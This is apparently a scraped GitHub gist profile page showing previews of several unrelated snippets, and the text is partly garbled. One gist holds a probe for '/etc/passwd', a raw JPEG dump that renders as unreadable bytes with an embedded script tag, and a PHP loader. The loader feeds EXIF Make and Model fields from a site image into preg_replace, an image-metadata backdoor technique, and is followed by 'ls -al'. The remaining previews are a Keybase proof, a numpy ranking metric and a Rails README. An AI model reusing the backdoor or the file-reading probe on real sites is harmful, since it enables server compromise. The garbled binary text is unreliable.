Skip to content

Instantly share code, notes, and snippets.

View adamliesko's full-sized avatar

Adam Lieskovsky adamliesko

View GitHub Profile
file:///etc/passwd
����JFIF��C 
 
 
��C  ������"��
��N!12Q"Aa� q���#3R�4Bbc����$CEr�%6Tu�DSs�������� 1!QA�� ?�`�,
n�|$o�swCZ�Hq��q^;�X��Y��3���Gg�,��Y� >D�.��+�/�g�x��f!��|��#PY� >D��ϐY�' ��|�<script>�
Ag�,��l��ϐY�'�|�ϑ8�"'}�k.,��"�^+$N�E� u�p\"�C��!��\#��P �`*
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
ls -al
ff

Keybase proof

I hereby claim:

  • I am adamliesko on github.
  • I am adamliesko (https://keybase.io/adamliesko) on keybase.
  • I have a public key ASDZCZVpAhi1TY1WY7o4EnTx9-D2gAWTPZAxu4wR7yzI4Qo

To claim this, I am signing this object:

# (C) Mathieu Blondel, November 2013
# License: BSD 3 clause
import numpy as np
def ranking_precision_score(y_true, y_score, k=10):
"""Precision at rank k
Parameters
Provide basic integration for using Yaks in Ruby on Rails. It gives you a top level `configure_yaks` method, and a `yaks` helper for use in routes.
This will register all media types known to Yaks, make sure the right one is picked based on the `Accept` header, and it will put the correct `Content-Type` header on the response.
``` ruby
class RootMapper < Yaks::Mapper
link :self, '/'
link :posts, '/posts'
end
```ruby
term_freq=tire.search do |index|
qbe_facets(index)
end
options[:facets]=format_qbe_facets(term_freq.facets)
```